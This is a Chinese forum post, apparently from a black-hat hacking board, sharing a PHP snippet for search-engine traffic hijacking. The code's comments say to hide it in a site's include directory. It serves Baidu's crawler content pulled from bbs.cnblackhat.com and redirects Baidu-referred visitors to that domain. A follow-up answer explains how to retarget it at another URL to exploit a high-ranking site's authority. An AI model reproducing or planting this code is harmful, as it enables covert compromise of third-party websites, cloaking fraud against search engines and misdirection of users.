TA的每日心情 | 无聊 昨天 00:48 |
---|
签到天数: 375 天 [LV.9]以坛为家II
|
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: https://bbs.cnblackhat.com/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('https://bbs.cnblackhat.com/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: https://bbs.cnblackhat.com/");//跳转
exit;
}
?>
举例个例子,如果我要劫持到http://www.yunrank.cn/,关键词劫持我想要2个,云排名 和 云优化这两个,请问代码要修那几处,除了代码修改,还需要准备哪些文件。
答:
首先这个代码不是是说用来劫持某个或者某几个关键词,你只要把代码中的bbs.cnblackhat.com替换成你希望做SEO的地址就可以了,比如你说的http://www.yunrank.cn/,还有倒数第四行的地址也改成你的http://www.yunrank.cn/,这样就行了。所实现的功能就是,当百度蜘蛛爬到站点A当中时,我们通过这段代码判断出来是百度蜘蛛来访,所以把我们的设定好的内容(第十四行)给蜘蛛看,因为这个站点的权重高,所以如果百度抓取了这个快照的话,当我们下次搜索这个关键词的话,这个快照就将会排在较靠前的位置(根据站点A的权重决定),而当来自百度搜索的用户点击这个链接的时候,我们同样是通过这段代码判断出来的,所以跳转到我们希望让用户看到的页面。
php代码中双斜杠(//)和/*、*/中间的内容都是注释,比如针对百度蜘蛛所采取的动作,其实你可以选择让蜘蛛看特定的内容,或者直接301跳转到你的页面(传递搜索引擎权重),具体采取哪种方式根据自己的需要,注释掉相应的内容即可。
|
|